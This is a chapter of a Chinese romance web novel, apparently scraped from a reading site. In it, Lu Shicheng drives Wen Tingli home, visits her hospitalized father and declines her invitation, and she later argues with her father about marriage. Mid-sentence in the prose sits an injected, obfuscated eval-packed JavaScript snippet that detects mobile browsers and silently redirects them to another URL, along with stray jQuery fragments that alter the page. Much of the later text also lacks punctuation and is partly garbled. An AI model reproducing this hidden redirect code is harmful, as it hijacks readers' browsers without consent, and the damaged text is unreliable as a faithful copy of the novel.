第 35 章 一起走。

作品:《闻此一生

    第35章一起走。


    陆世澄的目光直白而坦荡,仿佛要穿透她的皮囊,直射进她的心底。


    这是他头一次这样长久地打量她,闻亭丽不禁有些无措,很早她就知道人的目光可以隐含不同含义,表达凶狠时,可以让人瞬间矮上几分,表达冷漠时,也可以使人一下子凉透骨髓。


    这会儿陆世澄的目光就让人招架不住,倒也不是有多凶,他只是很平和地审视着她,但不知为何让她的脸开始发烫。


    最近她像一块狗皮膏药老是黏在他的身后,一两次的“偶遇”可以称作巧合,一连串的巧合又该如何解释,今晚就更过分了,她简直是在明目张胆破坏朱紫荷和他单独相处的机会。


    陆世澄再有修养,瞧在眼里难免会心生疑惑。


    他会怎样发问?旁敲侧击还是单刀直入?


    这样想着,她几乎要使出全身力气才能抵抗那目光。


    大约是她的脸色越来越红,对面的压迫感骤然消失了,闻亭丽悄悄抬眼,却见陆世澄把脸转向一旁的杜鹃花丛,再把头转过来时,他恢复了往日那种礼貌而有分寸的态度。


    他点点头,自顾自到对街找车。


    看样子他要走了。


    闻亭丽忙在他身后说:“陆先生再会。”


    他一走,闻亭丽不由自主松了口气。万幸这个男人是陆世澄,他骨子里的教养让他最终没有为难她,换作别人,恐怕早已把她逼得下不来台了。


    她松快地吁出一口气,继续沿着小路向前走。


    身后突然传来“啪啪啪”的奇怪声响。


    回头看,却只看见一道黑魆魆的暗影,一种不安的情绪蓦地窜上她的心头,先前陆世澄在时还不觉得,此刻她才发觉四周安静得可怕。


    她果断加快脚步,后面那声响也随之大了起来,“啪-啪-啪”紧随在她身后,说不出的诡异。


    闻亭丽想起白龙帮的种种手段,心里一慌,埋头狂奔起来。那声音却如影随形,大有碾上来之势,正当闻亭丽惊骇到无以复加时,前方突然出现一辆熟悉的车影,那辆黑色的汽车缓缓开到她身边。


    陆世澄竟开着车来找她了。


    “陆先生!”闻亭丽激动得如同看见自己的


    亲人一溜烟跑到车窗旁边。


    大约是她的样子像活见鬼陆世澄忍不住探头朝她身后看去。


    闻亭丽乍着胆子回头。


    一看就愕住了。


    不远处蹲着一只大黑猫黑猫嘴里叼着半只破皮鞋先前那怪声就是刚才这大猫拖行皮鞋时发出来的。


    大猫仿佛对闻亭丽突然停下有些不满一双绿圆的猫眼正静幽幽地瞪着她。


    这下子闻亭丽更加迈不动步了她一向怕猫何况眼前这猫的身型格外肥大不似野猫像是附近某户人家家养的。


    陆世澄推门下车走到大猫面前俯身将它从地上拎起来大猫二话不说给了陆世澄一爪陆世澄却提前将它从自己身前拉开一点距离任凭大猫对着自己胡乱踢踏却始终够不到他分毫大猫气急败坏张开嘴“喵呜喵呜”叫唤起来。


    忽听“啪”的一声响大猫口中的破皮鞋掉落在地闻亭丽正是心有余悸不提防望见陆世澄眼里的笑意不由也跟着噗呲一笑:“这大猫真可恶竟这样不怕人。”


    趁两人分神大猫从陆世澄手里蹿到地上飞快消失在夜色中。


    陆世澄掸掸身上的猫毛转头看着身旁的闻亭丽。


    这地方太黑了他指指自己的车。【上车吧我送你回家。】


    闻亭丽感激地钻上他的车:“那就麻烦陆先生了。”


    ***


    上车之后闻亭丽时不时用余光瞥瞥身边的陆世澄。


    这样长的一段路总不能一直不吭声吧。


    “陆先生很喜欢猫?”她主动开腔了。


    陆世澄在镜子里看她一眼。


    “怕猫的人是不敢像你那样靠近大猫的。”闻亭丽很有把握地说“陆先生拎猫的动作一看就是养过猫的。”


    说完这话陆世澄并未马上回应闻亭丽也知道这话听上去倒有点像在打探陆世澄的喜好今晚她在邹校长家里的表现本就奇怪再这样攀谈下去多少有点可疑。可她若是在车上一句话都不说未免又显得太心虚。


    正琢磨间却见陆世澄点了点头算是回答了她的问题又指了指方向盘


    闻亭丽备受鼓舞:“陆先生过去养过几只猫?我猜你养的


    猫一定个个漂亮。


    陆世澄摇摇头,闻亭丽疑惑:“不漂亮么?


    陆公馆会养不漂亮的猫?


    想起陆世澄深夜里在街上拎猫的举动,她惭愧一笑:“我知道了,陆先生养的是流浪猫吧,您收留过几只猫,一只?两只?还是一大群?我记得陆公馆还有好些鸽子,陆先生肯定很喜欢小动物。


    就在这时,陆世澄将车停到街边,闻亭丽不明就里,转头就见陆世澄倾身朝自己靠过来。


    她心脏猛地一缩,狭窄的空间里,身躯仿佛一下缩小了一半,手脚无处可放,脑子亦不知作何反应,谁知陆世澄只是从前座的机括里抽出一沓报纸递给她。


    【你要是觉得闷,可以看看报纸。】


    闻亭丽脑子里仍有点乱,居然机械地答他一句:“可是我不觉得闷。


    陆世澄刚要坐回去,听闻此话,回眸深深望她一眼。


    车厢里的空气仿佛更热了。


    闻亭丽一说完那话便懊悔,然而临时想不出别的话来化解,只能定定与他相望。


    这样短的距离,她连他的睫毛有多少根都能看清。他的皮肤不似大多数男人那样粗糙,在暗影中很像一种无暇的玉,他的眼睛亦跟他的人一样安静,眸光里隐隐流动着细碎的光辉。


    相应地,想必陆世澄也能看清她脸上的每一个细小部位。这一想,闻亭丽有点坐不住了,咬了咬唇,急于找话来化解这局面。


    几乎是同时,陆世澄蓦然将视线从她的脸上收回,仍旧坐回了原来的位置。


    因有这一出,接下来这一路闻亭丽宛如失去了语言能力,只老老实实翻阅手里的报纸。


    起初有些无所适从,后来她的注意力便被报纸上的几桩新闻所吸引。


    等她津津有味地把几张报纸看完,车已经开到了麦林路,只要再拐过一个街角,对街就是慈心医院了。


    偏在这时,汽车的发动机突然发出几声奇怪的轰鸣,车速陡然慢下来。


    陆世澄换了几下档,车速却越来越慢,最后索性一动不动了。


    他检视一番,未果,只好下车走到她这边帮她打开车门。


    【下车吧,车出故障了。】


    闻亭丽先是目瞪口呆,继而发笑:“原来罗尔斯·罗伊斯也会闹


    故障。”


    其实她笑的不是高级洋车抛锚而是第一次看到陆世澄皱眉。


    她忍笑打开车门下车再三向他道谢:“谢谢陆先生送我这一路前面就是慈心医院了我自己走回去即可。”


    没走多远就听见身后传来脚步声。


    诧异回望就看见陆世澄插着裤兜跟在她后面。


    回眸时他正望着她的背影。


    “陆先生?”


    陆世澄对她做了个打电话的手势他得打电话叫人来修车。


    闻亭丽懊恼地一拍脑门忙又跑回他身前:“瞧我全忘了这回事!慈心医院就有电话我跟病房里的护士都很熟的陆先生你跟我来我帮您打电话。”


    陆世澄很听话地接受了闻亭丽的建议。


    两人相偕过马路。


    “陆先生现在几点钟了?”闻亭丽转头问。


    陆世澄抬起腕表示意她自己看。


    闻亭丽凑过去低头一瞧:“还好才九点多他们病房照例是十点钟熄灯倘若熄灯了还得提前把手电拧开。”


    一进病房就看见周嫂带着小桃子在走廊上玩耍。


    “怎么这样晚了还未睡?”


    周嫂却只是瞠大眼睛看着闻亭丽身边的陆世澄。怔忪间小桃子飞奔过来抱住姐姐的腿又把头探出来好奇地望着陆世澄转头碰上姐姐鼓励的目光这才鼓起勇气打招呼:“陆先生。”


    毕竟才三岁一开口就把“陆”叫成了“如”。


    陆世澄态度照旧很尊重主动蹲下身跟小桃子握了握手。


    小桃子“嗬嗬”朗笑圆肚皮一鼓一鼓的。


    周嫂近前把小桃子抱到怀里:“刘护士长说小姐这下子是出名了。晚上来了好几波戏社的人自称来打听你的表演经历此外还有几个报社记者听说你考上了大学专门过来采访。我真奇怪他们消息怎会这样灵通我说你去了同学家他们非要等到九点钟才走。小桃子难得看见这么多客人死活也不肯睡。”


    交代完这话周嫂盯牢陆世澄和和气气发问:“这位先生是?”


    “这是陆小先生。”闻亭丽忙于支开周嫂


    又对陆世澄说:“这是周嫂。电话在这边您跟我来。”


    周嫂的一双眼睛活像变成了手电筒,亮堂堂地对着陆世澄照来照去,好在陆世澄仿佛并不觉得冒犯,反而很坦然对周嫂点点头。


    大约是陆世澄太沉静,也太和气,周嫂突然有点不好意思了:“刚才那些客人送了好些水果,我给这位陆先生拿些西瓜来。


    闻亭丽急了:“您怎么能随便收人家的东西,我都不认识这帮人。


    “我倒是不想收,可等我追出去,早就一个人影都不见了,其中有两个这么大的西瓜,来时就切好了,今晚不吃完准会馊掉的。


    又忙对陆世澄解释说:“陆先生别多心,我绝不是怕西瓜馊才给您拿,我是——


    闻亭丽简直不知说什么好,今晚也不知怎么回事,连周嫂都透着点傻气!她跺了跺脚:“陆先生不会误会的,您带小桃子回去吧。


    一转脸,却见陆世澄垂眸掩去眼中的笑影,却不知是在笑她,还是在笑周嫂。


    闻亭丽自己撑不住也笑了,笑了一会,她问他:“陆先生想吃西瓜吗?待会打完电话,我给您拿些来解解渴。


    陆世澄尚未答言,病房里一下出来了好些人,一个个全在那儿盯着陆世澄瞧,有人甚至问闻亭丽:“小闻,你朋友啊?


    闻亭丽讪讪领着陆世澄穿过人群,护士们都很喜欢闻亭丽,她们虽然也对陆世澄充满好奇,却爽快答应借用电话。拨号前,闻亭丽问陆世澄:“是给邝先生打电话吗?


    毕竟邝志林的寓所就在离这不远的甘家巷,陆世澄却从衣兜里取出一张名片递给闻亭丽。


    那是一个完全陌生的号码,名片上的人叫方达。


    闻亭丽拨过去对那边说:“是方先生吗,陆小先生的车坏了,车现在麦林路,陆小先生他在——


    她用目光征询陆世澄,陆世澄对着院门口的方向指了指。


    “他会在慈心医院的大门口等你们。你们大约多久到?最多十分钟?好的,我会转告陆小先生。


    挂断电话,办公室门口那堆人突然向两侧分开,周嫂端着一个大盘子过来了,里面齐齐整整摆着十几牙红艳艳的西瓜。


    周嫂热情地对着陆世澄说:“走廊上蚊子多,陆先生不如进房里等边吃边等。房里有灯有扇子,还点了蚊香。


    闻亭丽欲言又止,周嫂一定是误会了她和陆世澄的关系,父亲卧病在床,以陆家人惯有的礼数,看见父亲绝不可能不随礼,可她现在连陆世澄的朋友都算不上,哪有理由让人家破费。


    可若是急三火四拖着陆世澄离开,又像她不愿意招待他似的。


    她生平头一次感到这样窘,不料陆世澄早已对周嫂点了点头。


    病房里,闻德生正鼓着双眼朝外张望,他刚听陪护和周嫂说女儿带回来了一个年轻男人,这会儿恨不得打起十二分的精神来应对。


    就见周嫂领着一个俊朗得出奇的后生进来。


    “这是陆先生。”闻亭丽硬着头皮为双方介绍,“陆先生,这是我父亲。”


    她一瞬不瞬观察着陆世澄的表情,病人的心理是最脆弱敏感的,但凡陆世澄露出一丝异样的神色,都会刺痛父亲的心。


    除了担心父亲,她自己也怕在陆世澄脸上读出嫌弃或是厌恶的神情。


    这种感觉既陌生,又奇怪——要知道她从来不是个会在乎别人看法的人。


    陆世澄确实怔了一下,但他的脸上只有惊讶和同情,却丝毫不见反感,他甚至主动上前跟闻德生握了握手,态度就像对待小桃子一样自然。


    闻德生面色一亮,忙拿出生平最斯文的态度跟陆世澄打招呼:“你好,请坐。周嫂,快给陆公子奉茶。”


    等到周嫂奉上茶,闻德生便半倚在枕上柔声问:“陆先生还在念书?”


    “陆先生早就大学毕业了。”闻亭丽抢先答道。


    闻德生脸上更添一层错愕和钦佩:“年纪这样轻,学问却这样好,陆先生现在何处谋事?”


    闻亭丽近前小声对父亲嗔道:“我跟陆先生又不是很熟,人家只不过顺便进来看看您,您倒好,一见面就问东问西的。”


    陆世澄在旁瞟一眼她的侧脸。


    “不熟?”闻德生半信半疑,用同样小的声量驳道,“不熟人家进来看我这半死不活的人做什么?爹随便问几句,你急什么。”


    闻亭丽不知如何跟父亲解释陆世澄的为人,恰在此时,隔壁病房一位姓罗的太太进来了。


    先前她就在人堆里议论最近常有拆白党装作富家子弟来骗漂亮姑娘,话里话外都暗指陆世澄也是一路货色,闻亭丽也懒得理她。


    这会儿罗太太大概是不满足于只在门外看热闹,居然大剌剌进来说:“这后生卖相真好,闻先生,您真好福气,有个这样漂亮的女儿,万事都不用愁。不像我,我那两个女儿今后还不知如何呢。对了,来了这么久,怎么也不见这位陆先生说过话?小闻,既是你爹问话,你就让陆先生自己说嘛。


    陆世澄本在静静打量床头的药瓶,闻言,忽然向罗太太锐利地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409283|135222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    射了两眼。罗太太笑容一僵,这一刻她才隐约意识到,这漂亮的年轻人远不像表面上那样随和。


    闻亭丽笑吟吟接过罗太太的话头:“原来罗太太也知道是我父亲在问话,您这样抢着答话,不知道的还以为您跟我一样是晚辈呢。


    罗太太脸色稍僵,讪讪道:“你这孩子,我也是一片好心——


    这时候走廊上突然来了几个人,衣着异常整洁,态度亦非常和善,在门口欠了欠身:“陆小先生,车在门口候着了。


    屋里人面面相觑,陆世澄出去一下,回来时手里多了个信封,将其递给闻亭丽,让她再次代自己向她父亲问好。


    随后站在床边对着闻德生欠了欠身,便要带人离开。


    闻亭丽一摸信封,心知里面是厚厚的一沓查票,吓得忙追上去:“陆先生,陆先生,这钱我们绝不能收。


    陆世澄瞥瞥身旁那位中年男子,这人虽然拿不准闻亭丽和陆世澄的关系,却立即乖巧地笑道:“闻小姐既是陆先生的朋友,该知道陆先生待人一贯真诚,这不过是陆先生的一点小小心意,请闻小姐不必有什么顾虑。


    此人想必就是名片上的方达了,精明程度丝毫不逊于邝志林。


    说完这话,方达又近前低声说:“假如闻小姐不肯收,我们还得把这钱折算成一堆礼物再送来,这大晚上的实在不好张罗,闻小姐收下就权当帮我们大忙了。


    闻亭丽抬头看向陆世澄,他只是低眉望着她,显然方达的意思就是他的意思,她只好为难地收下了,除了怕真像这位方先生所说的那样,也因为话中的“朋友


    虽说陆世澄未必承认她是他的朋友,她却是很愿意做陆世澄的朋友的!


    正说着,眼前忽一黑,走廊里熄灯了。


    “我有手电筒。闻亭丽忙拧开电筒,“我送你们出去。


    黑暗中陆世澄走路却不似平日那样快闻亭丽心里直犯嘀咕直到走到台阶上才反应过来他是在照顾她的速度她手里虽有电筒却是极窄的一道光束稍有不慎就会摔跤。


    为了确认这一点她有意放慢脚步果不其然她一慢他也跟着缓下来。


    闻亭丽心里骤然闪过一丝发烫的感觉


    陆世澄在半黑暗里回头他的眼睛是那样好看哪怕在昏暗的地方也有一种明亮生辉之感他专注地望着她。


    她心跳有点快低声问他:“礼拜五晚上您有空么?这段时间老是麻烦陆先生真不知怎样回报您才好我有两张欣欣决赛夜的门票想请您前去观赛。”


    这可是她第三次邀请陆世澄看她的比赛了。


    说着一笑笑容充满自信:“其实还是一场滑稽戏只不过这次的节目里有两段模仿猫的表演您这样喜欢猫到时候一定会觉得很新鲜的。”


    陆世澄寂然良久指一指她的书袋闻亭丽默契地把本子拿出来给他。


    陆世澄翻开本子却没有马上落笔他的样子明明跟平日一样沉静但表情又跟往常有点不太一样仿佛有点焦躁有点踟蹰。


    过了好一阵子他才把本子递还给她。


    【抱歉我这几天实在抽不出时间。】


    闻亭丽低头对着那行字再一次他再一次直截了当地拒绝了她。


    “没关系……”她旋即露出笑容“那就不打搅陆先生了陆先生晚安。”


    陆世澄上了车。方达在前座谨慎地发问:“邝先生刚查到三爷的下脚处是即刻回陆公馆吗?”


    问完这话陆世澄没回应。


    方达讶然回头却见陆世澄懊恼地看着窗外。


    “澄少爷?”方达咳嗽一声“邝先生那边已经等了一个多钟头了去邹校长家里一打听才知道澄少爷你早就走了大家到处找不到您都快急死了谁能想到来了慈心医院走吧不能再耽搁了。”


    陆世澄如梦初醒努力稳了稳烦乱的心绪稍顷面沉如水示意司机开车。


    ***


    回到病房里周嫂还在呶呶不休。


    “那个罗太太真是的


    ——咦,小姐回来了,陆先生不生气吧?


    “生气?闻亭丽莫名其妙。


    “罗太太说的那些酸话呗,她简直吃定了陆先生是拆白党,后来听见大伙说陆先生就是大名鼎鼎的南洋陆家的小公子,那脸色啧啧啧,我都替她难为情。


    闻亭丽摆摆手:“谁有空跟她生气。


    罗太太是个寡妇,大女儿生了肺炎在住院,小女儿比小桃子大不了多少,自打丈夫死后,一家人的生计全靠罗太太一个人支撑,这样的日子过久了,罗太太难免有些难打交道,但她的为人不算坏。


    她不会与罗太太计较,至于陆世澄,自打认识他,就没见他介意过这些小事。


    闻德生在床上眼巴巴望着女儿:“你跟这陆先生究竟是怎么回事?


    “什么事也没有。闻亭丽懒懒地倒到小床上。


    “你少拿话敷衍爹,陈伯他们先前都看见了,陆先生从医院外头一路送你回来的,你们两个若是不熟,人家大晚上干嘛专门送你一趟?


    “天色这样晚,人家好心送我一趟又怎么了?


    闻亭丽有点没好气,这话与其是对父亲说,倒不如是对自己说的。


    亏她刚才变着法子试探陆世澄,结果只换来他的拒绝,也对,他那样的人若不想惹误会,势必会当面把话说清楚。


    或许,今晚的种种都是她的错觉,陆世澄不过是考虑到她的安全才送她一趟,她却因此而自作多情——


    她赌气将被子扯高蒙住自己的脑袋。


    她在生自己的气。


    父亲又开腔了:“傻孩子,人家要不是动了心思,怎肯专门送你回来,还装作顺路进病房探望你爹,你一贯招人喜欢,有机会一定得好好把握住了。依爹看,这位陆公子可比那个乔杏初要靠谱得多,最起码,为人处事沉稳和气,心思也明透。


    不提起乔家还好,一提起乔家闻亭丽就觉得自己的痛觉神经被烫了一下,马上像只青蛙一样从床上跳起来:“我们又没什么的!爹你不要瞎讲好伐,再说乔家的教训还不够吗,别说人家对我没这个意思,即便有,有句话叫‘齐大非偶’,将来总难走到一起,还有,我干吗非得找男人?


    她跳下床,骄傲地对着一屋子的礼物和水果指指点点。


    “今晚这些人可都是奔着女儿的名头来的,女儿才参加几次比赛,次次都崭露头角,爹,事到如今您还不明白吗,女儿才是自己最大的靠山。


    闻德生哭笑不得:“你这孩子吃火药了?爹不过随口一句,竟惹出你这样多的牢骚,爹当然知道你有出息,但世情如此,你总不能一辈子不嫁人吧。


    “一辈子不结婚又如何?我已经考上大学了,等我演完黄导演的戏,我就能一口气攒够好几年的学费,等到大学毕业,我还要像邓院长和邹校长那样做出一番伟大的事业呢!


    滔滔不绝说了一通,对上一家人错愕的目光,她自己也觉得有点好笑,顺手端起脸盆:“好啦好啦,我累了,先去洗漱。


    作者有话要说